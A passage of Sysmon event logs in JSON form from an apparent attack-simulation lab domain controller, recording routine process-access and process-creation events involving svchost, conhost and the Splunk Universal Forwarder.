C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001084000500}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001084000500}","TargetProcessId":"4768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.681\r\nProcessGuid: {90617006-4078-5F2D-0000-001049010500}\r\nProcessId: 4724\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-4078-5F2D-0000-001084000500}\r\nParentProcessId: 4768\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.681","ProcessGuid":"{90617006-4078-5F2D-0000-001049010500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-4078-5F2D-0000-001084000500}","ParentProcessId":"4768","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-001084000500}\r\nSourceProcessId: 4768\r\nSourceThreadId: 4764\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001049010500}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-4078-5F2D-0000-001084000500}","SourceProcessId":"4768","SourceThreadId":"4764","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001049010500}","TargetProcessId":"4724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001049010500}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001049010500}","TargetProcessId":"4724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 